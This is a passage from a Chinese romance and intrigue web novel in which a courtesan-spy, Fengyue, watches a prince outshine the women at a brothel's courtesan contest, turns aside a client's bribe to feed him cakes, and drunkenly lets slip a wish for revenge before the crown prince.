青楼楚馆,怎么都会搞些选花魁之类的噱头吸引恩客,花魁的身价与别人不同,争的人自然就多。眼下天还没黑,楼里的姑娘们已经纷纷行动起来,各个楼层的走廊和最底下的大堂里都站着三五成群的莺莺燕燕,正交头接耳。
“如今楼里生意最好的也就断弦跟风月两位姑娘了,你们猜,今晚鹿死谁手?”
“我赌断弦姑娘,毕竟弹得一手好琴。”
“我还是赌风月吧,虽然是不够体面,可瞧瞧,喜欢她那样的人还真不少。”
断弦开门出来,正好看见对面靠着栏杆往下瞧着的风月,妖媚的脸上带着傻兮兮的笑,怎么看都让人看不顺眼。
嗤笑了一声,她翻了个白眼,摇着团扇就下楼。
殷戈止她可能的确是伺候不了,但不一定就说明她比风月差,今晚可是个好机会,她一定得赢。
“断弦。”微云等人在二楼,见她下来就一把将她拉了过去,神神秘秘地道:“今晚有好戏看了!”
“什么?”断弦茫然,微云神秘兮兮地小声道:“你不是很不喜欢风月吗?待会儿等着看,她定然要丢脸的!”
听她们嘀咕了一阵,断弦也跟着笑了,眯眼看向三楼。
栏杆上已经空无一人,也许是去准备晚上的节目了。舒心地出了口气,断弦拉着一群姑娘就继续下楼。
打扫梦回楼的奴仆从房间里离开,风月照旧打开人家擦过的柜子,从里头拿出张纸来。
“赵麟之子,赵悉。”六个字,下头还有一幅画像。
风月挑眉,殷戈止选的人还真是一选一个准,全是她看不顺眼的。
赵悉来过梦回楼,凡是在梦回楼过夜的人,只要随身腰牌玉佩之物离过身,亦或是本人昏迷沉睡过,那他们的随身物品一定会被送去响玉街的杂货铺连夜仿制,以备后用。
也就是说,她想制造罪状,亦或是接近谁,都比普通的暗卫更快,更不着痕迹。
殷戈止既然瞧上这个人了,那她就帮他一把。
“你在看什么?”
冷不防有声音在背后响起,激得风月汗**倒竖,立马将纸塞回柜子里,然后妩媚地转身,朝着来人就是一个媚眼抛过去:“奴家自然是在等公子呀~”
殷戈止一脸冷漠地看着她,仿佛在看个台上的戏子。
风月不在意,左扭右
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扭地就走到他面前,可怜巴巴地抬头看他:“公子好狠心,说两天不来,当真就是两天不来,奴家好生寂寞嘤嘤嘤!”
不知道为什么,每次这个人捏着嗓子这么说话,他都很想把她拎起来抖两下,抖直了!
然而,对青楼女子,不能要求那么高。
睨着她,殷戈止道:“刚进来就听闻,你们今日要选花魁?”
“是啊。”风月眨眼,头一扬,手从发髻滑到下巴捏了个兰花指,得意地问:“公子觉得,咱们这儿的花魁当属谁?”
眼里又充满了嫌弃,殷戈止冷淡地开口:“反正不会是你。”
虽然没想争吧,但是听这话,是个姑娘就高兴不起来!风月扁嘴:“奴家哪儿不好啦?”
“梦回楼选花魁,定然是要才貌双全,德艺双馨。”目光不太友善地扫了她一圈儿,殷戈止摇头:“你一样都没有。”
一样都没有?!风月磨着牙,嘴角抽搐了好一会儿,才勉强抬头冲他笑:“那真是委屈公子了,奴家什么都没有,还点奴家的台!”
定定地看着她,殷戈止沉默片刻,突然低头下来,凑到她耳边道:“也不是什么都没有,至少床上让人觉得舒坦。”
风月:“……”
什么叫衣冠禽兽?这就是衣冠禽兽啊!一边嫌弃她,一边又调戏她,有毛病是不是?
要不是看在他实在有用的份上,她早就一巴掌……嗯,还是算了,打不过。
识时务者为俊杰,在强者面前要乖顺。
耷拉了尾巴,风月闷头不吭声了,模样看起来活像受委屈了的小狗,哼哼唧唧,眼泪汪汪。
殷戈止瞧着,心情都好了,朝她勾勾手。
风月别开头龇了龇牙,然后嘿嘿地就朝人家扑了过去,抱着人家精瘦有力的腰,狠狠地摸了一把:“公子?”
“想当花魁?”
“不想!”
“那你这不甘心的模样是怎么回事?”
风月一顿,抬头,深情款款地望进他的眼里:“奴家不在意别人怎么看奴家,但很在意公子的看法。公子要是这般看不起奴家,奴家会很伤心的嘤嘤嘤!”
“……”
每次跟这风月姑娘在一起,自家主子好像都心情不错?门外的观止偷偷往里头打量,惊奇地发现了这个现象。虽然被人熊抱着的殷大皇子脸上一点波澜都没有,但周身的气息实在柔和,像春风吹了绿草,鲜花朵朵开。
真是奇了。
“公子,楼下为您设了座。”金妈妈挨个房间里请人,到了风月门口,没敢进去,而是在门口小心翼翼地道:“您要是方便,可以先下去落座。”
自从那四担子礼物送到梦回楼,这位公子就成了全楼的姑娘最想伺候的客人,虽然不知道为什么断弦不得他喜欢,但今晚其他的姑娘,可都是跃跃欲试呢。
“嗯。”应了一声,殷戈止将怀里的人拎起来就往外走。
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第30章 殷大花魁
“那个……”风月赔笑:“这位公子,虽然得您厚爱奴家很高兴,在这众目睽睽之下您带奴家一起入场,奴家也很高兴,但是……”
但是能不能不要跟拎猴子似的把她拎手里啊?她有脚啊!能走路啊!这样很像她犯事被人抓了好不好?
殷戈止恍若未闻,下了大堂就拎着她放在金妈妈准备的离台子最近的紫檀木圆桌边。
姑娘们都还在房间里准备呢,就她一个大大咧咧地坐在了客人的桌上。
隐隐有不友善的目光从四面八方射过来,风月低头,装作什么也没察觉,捏着一根牛肉干嚼啊嚼。
夜幕降临,红灯高悬,台子上开始表演了。风月往背后扫了一圈,太子没来,其余常客倒是都到了。
也对,一国太子,怎么可能当真闲得没事就往青楼跑?
收回目光,风月正想继续吃东西,就听得周围一阵叫好声,差点把房顶给掀了,吓得她一个哆嗦,手里的牛肉干“噗通”一声落进了茶杯里,泛上一层油腻来。
殷戈止皱眉看着她,那眼神,仿佛恨不得把她也塞茶杯里。
“嘿嘿。”心虚地笑了笑,风月小声道:“公子,奴家向来举止不太优雅,您可以当没看见的。”
她可以不优雅,但起码得有点样子吧?坐他对面丢人呢?殷戈止摇头,瞬间有点后悔为什么要跟她坐一桌。
台上的断弦表演完了,恭恭敬敬地朝台下行礼,众人叫好声没断,有书生站起来道:“断弦姑娘这般的好琴艺,又是这般好相貌,自然当夺花魁桂冠。”
青楼狎妓是风流,各个姑娘背后也有不少的支持者,就像**似的,自己赌的马,怎么也要赢了,才能证明自己眼光不错。
于是,赌在风月身上的人也不服气了,站起来就道:“论相貌,断弦姑娘哪能与风月姑娘比?”
“你这说的是什么话?”书生不服气了:“看人怎么能单看相貌?风月姑娘虽美,可除了美,她还有什么?再跳一曲脱衣飞天舞?”
众人一阵哄笑。
微云笑出了声,断弦也觉得解气,这句话她早就想说了,今儿被客人这般当众说出来,就像在风月脸上狠打了一巴掌,声音清脆得令人愉悦。
殷戈止微微侧头,看了那书生一眼。
风月满不在乎,挥手便道:“各位何必扯奴家下水?奴家今日就没打算上台,花魁争夺,与奴家无关。”
那书生一听,当即就笑了:“姑娘是不想争,还是压根争不了?”
旁边的人怒道:“才艺多种多样,你怎知风月姑娘就争不了?断弦会弹琴,姑娘何尝不会跳舞?今儿这又没个断决之人,输赢还不是下头的人说了算?断弦姑娘在梦回楼久,客人多,这对风月姑娘哪里公平?”
书生冷笑:“多说无益,比划才知真。若需要人断决,那不如就由在下……”
“我来。”冷硬的声音在一片嘈杂之中响起,像定海神针似的,周围的人瞬间就安静了。
金妈妈眨眨眼,看向殷戈止,赔着笑道:“这位公子,断决之事,当然还是要擅长此道之人才有信服力。”
径直起身,殷戈止越过金妈妈就往台上走,一身白袍在灯光下泛着柔和的光,看得一众姑娘纷纷倒吸一口气。
好生俊朗的人啊,那一双眼风流多情,袖子飞扬之处潇洒万分,怨不得今日风月台都不上了也要陪着他。这样的客人,或者说这样的男人,谁不想要?
断弦还没回神,面前放着的琴就被人抱走了,雪白的纱衣翻飞,落在台子右边的角落,引得人跟着看过去。
风月抿唇瞧着,让观止给他递了张凳子上去。
殷戈止没有面朝台下,而是朝着台子中央的方向,接了凳子坐下,将琴往腿上一放,信手就弹。
高山流水之声,清凌凌如泉,瞬间将这满楼的浮躁之意压了个安静。琴声有力又缠绵,流畅潇洒,像极了弹琴的人。
内行看门道,外行看热闹,不懂琴的人只觉得这首曲子比刚才断弦弹的更好听,行家却听得出来,台上这人修琴至少十年有余,基础扎实,功底深厚,难得的是表达反而自由,无半分匠气。
一曲终了,台下反应了半晌才响起惊叹声。金妈妈也是懂琴的,当即就没敢再拦着,只笑着朝众人道:“这位公子是行家,让他来断决,想必没什么问题。”
只是,他这一曲将断弦压得太惨了些,光听断弦一**,众多似懂非懂之人还会觉得不错,有才有貌。但这位爷上来之后,是个人都对比得出来,断弦那点琴艺,实在还差火候。
方才说话的书生脸上不太好看,断弦也是没敢再抬头。
殷戈止伸手将琴放在一边,就坐在台上看着,眼神冷静,一句话也不多说。
满楼的人都严肃了起来,风月眨眨眼,又眨眨眼,扯了观止过来问:“你家主子这是怎么了?竟然管这种闲事。”
观止耸肩,看向台上:“主子大概是一时兴起,毕竟这些东西,从来了吴国之后,就再也没把弄过了。”
灵殊立在风月背后,好半天才回过神,小声嘀咕道:“这么一瞧,这位公子倒也没那么讨厌了。”
风月失笑,回头朝她道:“你这小丫头,喜欢谁讨厌谁也太简单了点。”
扁扁嘴,灵殊道:“奴婢就觉得厉害的人值得喜欢,凶巴巴的人很让人讨厌,可他……”
抬头看着殷戈止,灵殊小脸儿都皱成了一团:“太让人为难了!”
摇摇头,风月继续看向台上。
有断弦的前车之鉴,后头上来吹笛子的微云很是认真,奈何,殷戈止也会吹笛子,毫不留情地跟人家吹了同一首曲子,连贯性、感情、气息在前一首曲子的衬托下更加彰显,高下立判。甚至都不用殷戈止评说,下头的恩客都能七嘴八舌地评说出微云哪里不足。
也不知道这位大爷是不是当真来砸场子的,接下来上去的姑娘,有写书法的、有画画的、有表演百步穿杨的,他愣是一个都没放水,同样的纸笔,同样的弓箭,将人的面子扫得半点没留。
奇特的是,下头的
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恩客竟然没怒,倒是纷纷惊叹于殷戈止写的隶书和画的水墨画。就连方才不服气的书生眼里也露出惊叹来。
太不要脸了!
当殷戈止在台上拉开弓的时候,风月捂了脸,很同情地从指缝里看了选百步穿杨的金玲一眼。
其他的都好说,在这台子上选武学相关的东西,又遇上殷戈止……那定然是死得比前头几个都惨。
结果不用多说,殷戈止连射三箭正中靶心之后,恩客们不止鼓掌,还纷纷评说青楼女子选这种才艺实在不搭,不如不选。然后继续赞叹台上那人当真是文武双全,难得的人才!
这场选花魁的大会进行到接近尾声的时候,风月觉得今儿花魁非殷戈止莫属了,就连被他拂了颜面的姑娘,最后都站在台子边满脸崇敬地看着他,半点不记仇。
都到这个地步了,那还有什么话好说?
也不知道这位一向低调的爷是发了什么疯,竟然来做这种风头出尽之事。风月正翻着白眼,冷不防地就感觉四周的人都朝自己这边看了过来。
嗯?
莫名其妙地往台上看去,就见殷大皇子正垂眸看着她的方向,手里笔墨瑶琴尽歇,仿佛就等着她上场。
不是吧?风月干笑,缩了缩脖子,提着裙摆“蹭蹭蹭”地就跑到台边小声道:“公子,您为难她们就好了,为难奴家做什么?”
“大好的机会,你不上来试试?”殷戈止睨着她。
笑容满面,风月使劲儿摇头:“不了!”
嫌弃地看她一眼,殷戈止转头,随手点了个人上来:“你来。”
穿着舞衣的何愁战战兢兢地摇头:“不了吧?奴家……奴家觉得自个儿准备得不是很好。”
殷戈止看着她,没吭声。
何愁背后直冒冷汗,犹豫半晌,还是顶不住这位爷的眼神威压,上台献舞。
老实说,何愁今儿只是来凑热闹的,毕竟她的舞可没风月跳得好,想着混个脸熟也就罢了,谁知道竟然还被这位爷点着名上来。
硬着头皮跳完一曲,何愁不知道等待自己的是什么,哆哆嗦嗦地站在台上,往殷戈止那边瞟着。
曲子声音停了,舞袖垂地,殷戈止面无表情地颔首:“跳得不错。”
众人一惊,纷纷鼓掌!
这还是今晚他头一回开口评价台上的人,方才那姑娘跳了什么舞来着?不记得了,反正这位大爷说不错,那就肯定是不错!
一边忙着看白衣的姑娘们纷纷回神,惊愕不已,风月在台下跟着鼓掌点头:“不错不错。”
殷戈止下了台,拎着风月就上楼回房。众人纷纷喊留步,奈何金妈妈拦在前头,不让人追上去。
“各位,今儿这一场,何愁姑娘拔得头筹,大家可有什么意见?”金妈妈问。
“没有没有!”一众恩客都摆手,鼓掌恭喜。
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第31章 势利的女人
这场花魁选举,过程很惊喜,结局很意外,众人其实也不明白那位公子为什么就看上何愁的舞了。倒是有聪明人分析:“可能是他不会跳舞。”
说的也是啊,文武全才,但到底是个男人,怎么可能会跳女人的舞?如此说来,何愁夺魁也是顺理成章。
既然成花魁了,那不少客人自然也就凑上来点何愁的台,何愁笑着选了赵家公子,今晚的花魁大赛也就在一片喧闹之中落了帷幕。
“公子好厉害啊!”灵殊跟在他俩后头走,满眼都是小星星:“天哪,太厉害了,您是没瞧见方才断弦姑娘那一伙人的脸色,太难看了哈哈哈!”
风月嘴角直抽,回头看了她一眼:“小丫头,你先前还讨厌这位公子来的,立场能不能坚定点?”
吓得看了殷戈止一眼,灵殊连忙低头不吭声了。
现在哪里还敢讨厌啊?万一被他一箭射穿了怎么办?
殷戈止头也没回,进屋让了风月进门,转头就将灵殊和观止关在了外面。
风月一愣,抬头看他。
腰身被人捏着,压在人炙热的身子上,迎面对上的就是这人一双暗潮翻涌的眼睛。
明白了,发情了。
老实说应付殷戈止这样的人真是太轻松了,他完全不跟你玩虚的,想睡你就是想睡你,简单直接,耿直真实。
就是半点没人情味,让她能真真切切地感受到自己妓子的身份。
伸手给人宽衣解带,风月轻佻地勾了勾他的下巴,笑道:“既然今儿得公子一句功夫好的夸奖了,奴家也不能懈怠。”
殷大爷躺上床,压根没想动弹,就看着身上的人风情万种,妖娆迷人得像一条柔软的蛇。
若是按房中术来选花魁,眼前这妖精一定会毫无悬念地夺魁。连他都受不住的人,有几个人能逃脱她的魔掌?
心里莫名地就有点不舒服,殷戈止垂眸,突然问了一句:“明日你是不是要开始伺候太子了?”
风月一顿,很是不满地看了他一眼,娇滴滴地道:“这种时候,哪有问这个的?”
腰肢被人一掐,风月停了动作,双颊绯红,咬牙看着他答:“是。”
腰上的桎梏松了松,不知怎么的又捏得更紧。身下的人神色莫测,眼里阴晴不定。
难得一个女人这样让他觉得舒坦,要不要,干脆给她赎身?毕竟要是别人来碰了,再给他,他会觉得脏。
可是,这人有哪里好,值得他青眼相加?功夫上乘的人也许不止她一个,只是他还没碰到罢了。
难得因为男女之事起了犹豫之心,殷大皇子认真地思考了起来。
身上的人恍然未觉,小心翼翼地低下头来,张口就咬了一下他的唇。
倒吸一口凉气,殷戈止回神,皱眉看着她。
“方才公子在台上,奴家就想,您这唇上要是有一抹艳色,当真也该是倾国倾城。”风月低笑:“满楼的姑娘,都会被您比得黯然失色,现在一瞧,果然如此。”
闻到血腥味儿,殷大皇子眯眼看了这不要命的妖精许久,伸手便扣在她后脑勺上,以唇印唇。
风月一愣,心口像是被什么东西猛地一撞,看着身下的人,差点失了神。
掰开她的脑袋,捏着下巴端详一二,殷戈止淡淡地开口:“如此,也算绝色。”
嗯?
低头看进他的眼里,瞳孔上映着的姑娘面若桃花,唇红如火,当真是绝色。
“哎呀呀,奴家不着脂粉也很好看的。”略微慌张地别开头,风月随口说了这么一句。
“哦?”殷戈止来了兴趣:“洗把脸我看看。”
“……”
她为什么要搬起石头砸自己的脚?还搬了一块巨石!
风月尴尬地笑了笑,伸手就往人家衣襟里伸:“这良辰美景花好月圆的,咱们为什么要做那么无聊的事情?还是来快活快活吧?”
殷戈止皱眉,还想再说,却被她这作怪的手搅得闷哼一声。睨她一眼,他翻身,抓着人就准备好生教训一番。
月落乌啼,东宫之中一殿灯火尚明,叶御卿看着手里的东西,眼里满是好奇。
“殿下。”侍卫长冯闯在旁拱手道:“王汉已经关押在司刑府,看易小姐的意思,可能明日审了再定案。”
“还给她审什么?”轻笑一声,叶御卿道:“既然证据确凿了,他也该畏罪**了,省事。”
冯闯一顿,接着便低头应下。
手里的纸上写着殷戈止最近的动作,叶御卿看了半晌,还是忍不住开口问:“他是从何处找到这些证据的?按理说,腰牌这种东西,他就不应该拿得到。王汉虽然退下来了,到底也是习武之人,不可能如此疏忽让人偷了腰牌。就算让人偷了,他也该向将军府禀明才是。”
冯闯摇头:“殷殿下仿佛是凭空就得了证据,上门定罪了。”
凭空?叶御卿笑着摇头:“本宫不信事情会凑巧到这个份上,梦回楼里那位姑娘,查清楚了吗?”
“那位姑娘无亲无故,身边唯一信任的丫鬟也说她是随魏国的难民一起流入吴国的,平时安分,鲜少与什么特殊的人有来往,也没有经常出门,按理说除了买太多绿豆糕有些古怪之外,其余一切正常。”
“只是,今日殷殿下一从易府离开,回去更衣之后,就去了梦回楼找那位姑娘。”
嗯?叶御卿眼神幽深,看了某处好一会儿,才恢复了笑意:“如此,那也就罢了。”
自古英雄难过美人关,看上谁不是问题,只要别看上个麻烦。
一宿缠绵后起身,风月看了看屋子里,已经没了殷戈止的人影。
“主子。”灵殊端着水盆进来,啧啧有声地道:“可不得了了,包下花魁的那位公子,竟然赏了何愁姑娘五十两黄金!”
黄金可是稀罕的玩意儿,市面上流通着的本来就少,这位爷还一拿就拿了五十两出来,嫉妒得一众姑娘眼睛都红了。
“何愁运气不错。”风月笑眯眯地道:“这位恩客是个大方的,走,咱们也去看看热闹。”
夺了花魁又拿了黄金,何愁的房门
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口的确是热闹非凡。风月凭着力气大不要脸,顺利地挤了进去,朝着何愁就笑:“恭喜恭喜。”
何愁与她不熟,只礼貌地回她一礼。拳头大的金锭子就放在桌上,周周正正的,闪闪发光。
民间大多流通碎银,拿小秤称的,多了还要用钳子钳掉些,所以模样都不周正。只有官家流出来的金银,才会是完整的。
风月垂眸,随手拿了个镯子当贺礼给她,便出了包围圈。
这天下的官儿,不管哪个国家,都是十官九贪,就算本性不贪的,在官场里改变不了现状,也只能随波逐流,所以一般要除去谁,最好的罪名就是**。
殷戈止不会跟个纨绔子弟过不去,目标多半是赵悉的老爹赵麟,送他个百姓告赵麟侵占良田的状纸看来不够,还得再挖点东西。
想着想着,风月也就没注意前头的路,冷不防地就撞上个人。
“风月姑娘。”胖胖的恩客笑得乐呵:“不知姑娘是那位公子包下的,先前多有得罪,还望姑娘海涵。”
这是上次塞了她银票的人,上回瞧着还那般跋扈,今日就这般有礼了?看来,似乎是认得殷戈止。
不阴城里认得殷戈止的,那十有**都是个不小的官。
脸上瞬间挂了灿烂的笑意,风月颔首:“哪里哪里,大人今日来是?”
“刚问了金妈妈,说姑娘晚上还有客人,在下也不敢叨扰。”眼珠子转得跟黄鼠狼似的,这人笑道:“就这会儿想同姑娘聊聊天,当然了,银子照给。”
白天的生意,果然都不是妓子该做的生意。
装作很贪财的样子,风月眼睛都亮了:“大人想聊什么?奴家自当奉陪!”
恩客一瞧,这姑娘真是一只单纯的狐狸精啊,有戏!于是立马跟着她上楼回了房间。
“实不相瞒,在下对您接待的客人,很是崇敬。”东扯西扯了半晌,这人终于开口道:“想问问姑娘,那位公子可有什么特殊的喜好?”
看了一眼他的手,手心无茧,食指中指的关节侧面倒是有黄茧。风月一脸认真地回答:“说来也奇怪,那位公子看起来脾气不太好,也不让奴家多说话,大概是喜欢安静吧。至于特殊的喜好,奴家暂时还没发觉。”
胖子点头,想了想,笑道:“是这样的,我家有个妹妹啊,爱慕他许久了,想让他尝尝她亲手做的点心,但总也没机会。姑娘要是能帮忙,那在下必定重谢。”
风月想也不想就应了:“好啊,只要给银子,这些忙都不是问题。”
还真是个势利的妓子呢,杨风鹏心里冷笑,面上却是高兴,伸手就扯了一张一百两的银票出来塞进她的腰带:“等会儿我便让她做了点心送来,下回那位公子来,只要吃了,你还有好几张银票可以拿。”
还真是不把钱当钱嘿?风月笑得眼睛弯成了月亮,一脸天真地应了:“好,奴家定然给您办到!”
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第32章 易国如的命
这事儿要是交在别人手里,真是太简单了,一个求财的妓子,一个给钱的客人,要做的也不过是给自己伺候着的客人喂个饱含女儿家心意的糕点,一切都很正常,也会很顺利。
但是风月脑子没起泡啊,她会收钱去帮别人对殷戈止下手?**的都不知道!
先不说殷戈止今天晚上已经不会来她这儿了,就算是来,这种要进肚子的东西,她敢乱给?虽然她笑得傻,但也不能当她真傻啊!
送走那客人,风月捏着银票看了一会儿,起身去拿了纸笔,写了张小纸条,揉成一团就捏了中空的银子过来,塞进去,再在外头抹一层银色的胶泥。
“灵殊。”她喊了一声:“去买点绿豆糕吧。”
小丫头蹦蹦跳跳地就进来了,接过银子二话不说便往外跑。
这吴国看起来也乱得很呐,有人对殷戈止感兴趣,有人又想把他扯进无边炼狱。太子爷古里古怪阴森森,易小姐没头没脑傻白甜,她想做的事情,当真能顺利完成吗?
“风月。”
刚说着呢,背后就响起个温柔的声音。风月一顿,回头看过去,就见叶御卿一身华服,摇着把扇子就进来了。
“公子来得好早。”看一眼外头的天色,风月笑道:“光天化日地进来,也不怕人说闲话?”
“这里的客人,十个有八个要对我行礼,你说,谁来说这闲话?”合扇落座,叶御卿看着她道:“不过倒是奇了,姑娘竟然也在意别人的说法?”
“不在意,但鲜少看见有与奴家一样不在意的。”笑了笑,风月给他上茶。
屋子里就他们两个人,都不说话的时候,气氛就尴尬了起来。
叶御卿丝毫没有要缓解这种尴尬的意思,抬眼瞧着她,突然道:“茶喝得太多了,今日不如喝酒吧?”
酒?眼睛一亮,风月立马打开柜子,得意地朝他道:“奴家这儿最多的,可能就是酒了。”
酒好啊,喝醉了就什么都不知道,稀里糊涂跟人睡了也就完事了,半点不用纠结,简单又直接。
瞧着她这冒光的双眼,叶御卿失笑,起身就帮她把酒坛子搬出来,舀了酒,一人一壶。
别问他为什么不拿酒盏,那种东西,哪里能被眼前的人用来喝酒?要不是她手上还有伤,定然是酒坛子更适合。
使臣府。
因着不去梦回楼了,徐怀祖和安世冲也便只能到府上用膳。观止炒了五盘菜,瞧着也挺色香味俱全的,但是殷大皇子一下筷子,脸就黑了一半。
“盐放多了。”
观止一惊,连忙低头。
他一直不太能控制好盐的分量,以往主子吃着也没吭声啊,今儿说出来,那他咋办?重做?来不及了吧,都午时了,再做这三位都得饿肚子。
徐怀祖使劲儿把菜咽下去,刨了两口饭压了压,然后才问:“怎么不去梦回楼了?”
殷戈止淡然地道:“总不能在那儿吃一辈子饭。”
“观止不会做饭的话,把风月姑娘请回来做不就好了?”安世冲一本正经地道:“盐吃多了伤身。”
徐怀祖打了他一下,哭笑不得地道:“你当风月姑娘是什么人?能当厨娘使唤?听闻今日太子殿下去了她那里,要是运气好,说不定还会被太子给赎了身。”
夹菜的手一顿,殷戈止冷了声音:“你这是诋毁太子。”
“徒儿不敢!”徐怀祖连忙道:“这怎么算是诋毁呢?太子要是想赎人,在宫外弄个院子把人养着也不难,以前也不是没发生过这样的事情,徒儿只是随口说说……”
看了殷戈止一眼,安世冲歪了歪头。
师父虽然话不多,但是熟悉起来的话,了解他的情绪好像也不是特别难,比如现在,他感觉到了,师父有点生气。
气什么呢?肯定不是气徐怀祖诋毁太子。
“师父。”想了一会儿,安世冲开口道:“您要是喜欢风月姑娘,不如就趁早把人赎回来,”
一口饭呛在喉咙里,殷戈止脸色微青,半晌才缓过气来:“为师不会喜欢她。”
那这模样是为什么?安世冲想不明白了,干脆还是低头吃饭。
饭后艳阳高照,殷戈止抬脚要出门,身后两个徒儿却跟得紧紧的。
收回脚,殷戈止看着他们道:“不悔剑和长恨刀有剑谱和刀谱,就在书房中间架子的第三格,今日你们好生研习,不必出门。”
一听这话,两个徒儿跑得飞快,瞬间没了踪影。
轻轻松了口气,殷戈止顺利地跨出了门,刚上马,却听得身后的观止问:“您想去哪儿?”
“……随意走走。”
甩了两个,却忘记了还有一个甩不掉的,殷戈止抿唇。
他也不是非要去梦回楼,就是日子无趣,总想找点乐子。不去梦回楼也可以,旁边美人院胭脂阁,多的是好去处。
“主子。”观止道:“属下忘记禀告,干将那边,在您发了命令之后只与三个人有过接触,其中两个是咱们线上的人,还有一个……也不知道算不算接触,是个点心铺的老板娘,他去买了点心,给了人银子,看起来也挺正常。”
点心铺?殷戈止问:“哪里的点心铺?”
“就响玉街尾,卖绿豆糕的那一家。”观止道:“属下查过,做的是老实生意,也是开了几年的铺子了,应该没什么问题。”
是吗?殷戈止沉默片刻,突然问了一句:“风月是不是也常吃绿豆糕?”
好像是的,观止点头:“风月姑娘的花架子上,也常常放着绿豆糕。”
严肃地点头,殷戈止道:“我觉得这件事该好生查查,去梦回楼吧。”
嗯?观止吓了一跳,骑马跟上去,心想自家主子也太敏锐了,就几盒绿豆糕而已,也能察觉出不对劲?
压根不是绿豆糕的问题,殷戈止也不知道自个儿为什么就调转马头往梦回楼跑了,大概是直觉吧,直觉告诉他,该去看看她怎么样了。
也没别的意思,他这是宁杀错不放过。
从早上喝到中午,风月已经是半醉半醒,叶御卿竟然神色如常,还优雅地替她添酒:“想吃东西吗?”
“还有牛
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肉干儿呢,够吃!”哈哈笑着,风月已经没了规矩,豪迈地坐在桌边,一只脚踩在旁边的凳子上,一只手捏着酒壶就往嘴里灌,末了一抹嘴,大喝一声:“爽快!”
眼睛亮亮的,整张脸神采飞扬,看起来比端着手假笑顺眼多了。
叶御卿摇着扇子道:“你看起来,倒有几分江湖儿女的潇洒之气。”
江湖儿女?风月摆手,半睁着眼道:“姑奶奶是混世魔王,没几个人得罪得起的!”
醉了,开始说胡话了。叶御卿微笑,也不劝她,就饶有趣味地瞧着。
外袍垮下了肩,衣带也松松落落,风月媚眼如丝,秋波横扫:“喝完这壶酒,咱们打到山那头去,叉下敌军将领的脑袋,回来做盘菜!”
这么凶?叶御卿挑眉:“你是将军吗?”
“是啊!”风月点头:“我就是女将军!”
微微一愣,叶御卿不解地看着她,就见她起身,摇摇晃晃地去旁边的箱子里,扯了一件白色的铠甲出来:“看见没?这是我的盔甲!”
待看清她手里的是戏服之后,叶御卿松了口气,笑着摇头:“你真是厉害。”
“那可不!横刀怒扫千军马,举酒消得万古愁!”豪迈地吼了一声,风月倒在软榻上便继续喝酒,发髻硌得慌,干脆就把簪子全扯了,舒舒服服地往枕上一躺,朝空中模糊飘着的影子敬上一杯。
“等着我,等我送他们下去,就去找你们嘿!”
心里微微一恸,叶御卿伸手去拿了她的酒壶:“别醉太过了,晚上好歹还有良宵。”
良宵?风月一愣,呆呆地眨着眼睛看着他,眼里一点焦距都没有:“咱们不是有好多好多良宵了吗?”
伸手捞起她,叶御卿往床的方向走,低声道:“以后会有好多好多良宵的,以前的都不算。”
以前的……都不算吗?风月扁嘴,委屈得眼泪直冒:“不算……不算就不算,谁稀罕!”
“别哭。”
“你管姑奶奶哭不哭!我没哭!”凶巴巴地吼上来,声音里还带着哭腔。
叶御卿不笑了,将她放在床上,身子压了上去:“你好像有很多故事啊?”
“没有。”像小孩子似的伸手给他看,两个手掌心凑到他眼前:“你看,我什么都没有。”
低头在她掌心轻轻一吻,叶御卿眼里泛上点复杂的神色,低声道:“你想要什么,本宫可以给。”
要什么呢?风月呆呆地想了许久,醉醺醺地又笑了:“奴家没什么想要的了,唯一想要的,大概就是易国如的命。”
身子猛地一僵,叶御卿震惊地看着她。
身下的人双颊绯红,眸光氤氲,已经是大醉,大醉中的人,说的话到底是真话,还是假话?
易国如的命……她到底是什么人?
脑子里混沌一片,还没能他理出个头绪,“呯”地一声响,房门就又被人踢开了。
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第33章 真真假假的戏
为什么说“又”呢?因为叶御卿清楚地记得,同样的场景,上一次殷戈止也是这样踹开的门。
三月的天气,风从外头吹进来,莫名地有点刺骨。风月打了个寒战,吧唧了一下嘴,闭上眼就睡了。
叶御卿起身,合了她的衣襟,似笑非笑地看着门口:“今日,好像不是殿下的日子了。”
面无表情地跨进门,殷戈止看也没看床榻,径直走到花架前头,冷声道:“在下无意间查到风月姑娘有些不可告人之事,故来对证,没想到光天化日的,殿下也有这等好兴致。”
屋子里酒味儿很浓,也不知道是喝了多少,床榻上的人从他进来开始就没个声响,想必已经是醉晕了。大白天的就这么勾引人,真是厉害啊。
他也没想来做什么,就是看看她架子上的绿豆糕是哪家的,不是来坏人好事,也没坏人好事的兴趣。到底是轻佻的妓子,做的都是该做的事情,没什么不对。
说是这样说,可盯着花架上的盒子好一会儿,他也没仔细看那盒子上印的到底是谁家的标志。
“主子。”观止低呼了一声,伸手把那绿豆糕的盒子拿下来,低声道:“这就是响玉街那一家的。”
神色一凛,殷戈止转头,眼神如电一般劈向床上的人。
风月捏了捏拳头,努力装死。
鬼知道殷戈止为什么会来,她正办要事呢,眼瞧着要进入关键部分了,他来捣什么乱呐!
绿豆糕?绿豆糕怎么了?她还不信他们能在那铺子里翻出什么不对劲的东西来!她的消息网布置了整整两年,任何会惹人怀疑的地方都被掩盖得好好的,现在指着个绿豆糕盒子来吓唬她?不可能!
心里骂着,却感觉到身边的太子下了床,走到殷戈止面前瞧了那盒子一眼,笑道:“我当是什么,原来是说这绿豆糕?这盒东西是先前我让人买来给风月姑娘的,有何不妥吗?”
殷戈止皱眉:“殿下买的?”
“是,原先过来看姑娘的时候,顺路带过来的。”叶御卿优雅地颔首:“整个梦回楼最容易讨好的怕就是风月姑娘了,随意给她买些糕点零嘴,她都会高兴,真是个小馋猫。”
观止微微颔首,低声道:“平日里姑娘倒也当真喜欢买这些个果脯点心,她身边的丫鬟也嘴馋爱吃。”
“如此,倒是在下多想。”面无表情地将那绿豆糕的盒子放回去,殷戈止转身就走,却被叶御卿拦了路。
“殿下突然过来,当真是为别的吗?”一双凤眼微微眯起,露出点揶揄的神色来,叶御卿捏了扇子来展开,挡住半张脸,似笑非笑地道:“风月姑娘不是一向得殿下欢心?如今要伺候本宫,殿下也无甚动作?”
侧头看了他一眼,殷戈止淡淡地道:“区区妓子,何足挂齿?”
好一个何足挂齿!叶御卿失笑,侧身便道:“那殿下就先请了。”
抬脚继续往外走,走到门口的时候,殷戈止突然停了下来,侧头,神色很是温和地说了一句:“殿下是吴国的将来,可得好生保重才是。”
叶御卿喜欢看殷戈止铁青一张脸,看着让他心里特别舒坦,但是相应的,他最不想看的,就是殷戈止这种神情自若,态度温和的模样。
不是他变态,而是这个人一旦温和起来,会让人很不愉快。
